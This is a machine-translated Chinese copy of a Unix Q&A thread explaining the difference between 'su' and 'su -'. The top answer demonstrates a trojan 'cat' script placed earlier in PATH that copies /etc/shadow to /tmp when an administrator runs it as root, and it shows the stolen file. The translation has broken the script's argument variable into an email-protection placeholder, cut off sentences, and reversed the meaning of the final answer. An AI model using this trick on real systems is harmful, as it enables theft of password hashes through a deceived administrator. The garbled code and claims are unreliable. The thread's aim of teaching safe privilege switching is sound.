it-swarm.cn

为什么我们使用su-而不仅仅是su?

我不明白为什么以su -优先于su作为root登录。

187
Dharmit

su -在切换用户后调用登录Shell。登录Shell会重置大多数环境变量,从而提供一个干净的基础。

su只是切换用户,从而为普通的Shell提供与旧用户几乎相同的环境。

想象一下,您是一名软件开发人员,对用户具有正常的计算机访问权限,而您无知的管理员将不会授予您root用户访问权限。让我们(希望)欺骗他。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

现在,您问管理员,为什么您不能cat主文件夹中的虚拟文件,它根本无法工作!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

如果您的管理员不那么聪明或有点懒,他可能会来您的办公桌前尝试使用其超级用户功能:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

哇!谢谢,超级管理员!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

呵呵。

您可能会注意到损坏的$PATH变量未重置。如果管理员调用su -代替。

251
wag

su -完全以root用户身份登录,而su则以root用户身份登录。

最明显的例子是,如果使用~,则su -是根目录的主目录,而如果使用su,则是您自己的主目录。

根据您的系统,这也可能意味着Prompt,PATH或历史记录文件中的差异。

因此,如果您是一个管理系统的团队的一员,并且您的同事为您提供了一个运行命令,则您知道如果您都使用su -,但都可以使用su,可能会有所不同,因为您具有不同的Shell配置。

另一方面,如果您想以root用户身份运行命令但使用自己的配置,则su对您而言更好。

同样不要忘记Sudo,它具有-s选项来启动以root用户身份运行的Shell。当然,这也有不同的规则,它们会根据您使用的发行版而变化。

37
Mikel

主要区别在于:

su - username将Shell环境设置为指定用户,就好像是干净的登录名一样,它访问并使用指定用户的环境变量,

su username仅使用指定用户的当前环境设置启动命令行管理程序。

如果未使用susu -指定用户名,则默认使用根帐户。

2
Akhil MK

我使用su-当我以常规用户身份进入目录但要切换到root并在切换后保留在同一目录中时。当您使用su-时,它会将用户切换到root用户,并且还将您带到/ root,即根主目录。

1
Calvin Dike